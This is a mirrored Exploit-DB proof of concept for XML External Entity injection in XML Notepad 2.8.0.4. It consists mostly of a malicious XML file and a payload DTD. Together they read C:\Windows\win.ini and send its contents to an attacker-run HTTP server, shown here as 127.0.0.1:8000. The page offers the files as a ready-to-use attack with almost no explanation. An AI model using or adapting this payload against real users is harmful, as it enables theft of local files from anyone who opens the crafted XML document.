XML Notepad 2.8.0.4 – XML External Entity Injection - 体验盒子

作者： daejinoh

日期： 2019-11-11

类别：

local

平台：

xml

来源：https://www.exploit-db.com/exploits/47606/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

# Exploit Title: XML Notepad 2.8.0.4 - XML External Entity Injection

# Date: 2019-11-11

# Exploit Author: 8-Team / daejinoh

# Vendor Homepage:https://www.microsoft.com/

# Software Link:https://github.com/microsoft/XmlNotepad

# Version: XML Notepad 2.8.0.4

# Tested on: Windows 10 Pro

# CVE : N/A

# Step

1) File -> Open -> *.xml

# Exploit Code

1) Server(python 3.7) : python -m http.server

2) Poc.xml :

<?xml version="1.0"?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "C:\Windows\win.ini">

<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">

%dtd;]>

3) payload.dtd

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">

%all;

--------------------------------------------------------------------------------